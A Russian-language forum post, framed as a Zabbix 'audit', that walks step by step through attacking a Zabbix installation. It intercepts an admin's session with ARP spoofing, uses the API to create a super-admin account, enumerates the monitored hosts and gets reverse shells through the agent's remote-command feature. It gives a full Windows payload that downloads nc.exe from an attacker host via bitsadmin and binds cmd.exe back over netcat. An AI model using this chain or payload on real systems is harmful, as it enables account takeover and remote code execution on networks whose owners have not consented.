Проводим аудит Zabbix
@webwareПриветствую жителей и гостей форума. Поведать я Вам сегодня хочу о брешах в заббиксе. В нем периодически что-либо находят, поэтому остановимся пока на одной теме – API.
Что мы имеем: наша машина находится в пределах одного широковещательного запроса с админом, который залогинен в системе мониторинга.
Первым делом нам нужно поснифать трафик админа и поймать в нем id его сессии в заббиксе. (по большому счету не важно, как вы этот id добудете – в данном примере через mitm)
Можно использовать mitmf, можно еще что-нибудь. Я пошел классическим способом, обычный arpspoof:

Параллельно запустил скрипт, который из трафика выдергивает нужные нам id:

Вот сам скрипт - pastebin.com/AaNZZUDm
Отлично. Сессию админа перехватили. Далее нужно эту сессию скормить в API и создать нового пользователя. Для начала установим модуль PyZabbix:
$ pip install pyzabbix
Запускаем скрипт:

В нем указываем путь до API забикса (по умолчанию http://x.x.x.x/zabbix/api_jsonrpc.php) и будущие логин и пароль.
Скрипт после создания пользователя проверил подключение. Как видим – все ок.
Логинимся в админку – и о чудо – у нас права супер админа
До:

После:

Вроде все здорово, но на этом мы останавливаться не будем. А что, если попробовать провести атаку на хосты, которые мониторятся заббиксом? Сказано – сделано. Для начала через тот же API запросим у сервера, какие хосты он мониторит. Как раньше, вбиваем адрес API, наш созданный логин и пароль:
Скрипт - https://pastebin.com/LMiE23X1

После буквы “u” написаны имена обслуживаемых хостов. Сохраняем их. Они нам понадобятся дальше.
И напоследок запускаем этот скрипт


Снова вводим наши логин и пароль, запускаем NetCat на прослушивание порта, который мы указали в скрипте, в поле enter hostname указываем имя хоста с результата работы предыдущего скрипта. Получаем бэк конект на нашу машину. Это возможно из-за встроенной возможности с сервера посылать команды на агент на хосте. Единственное условие, чтобы в конфиге агента zabbix_agentd.conf был активирован параметр EnableRemoteCommands=1. Не важно на какой ОС установлен агент - главное чтобы он был. Соответственно работает и в Windows:

Нужно в скрипте прописать в параметре key:
system.run["bitsadmin.exe /transfer /download http://x.x.x.x/nc.exe C:\\Temp\\nc.exe && C:\Temp\\nc.exe x.x.x.x 3333 -e cmd.exe"]
Предварительно запустив апач и положив туда nc.exe
До новых всреч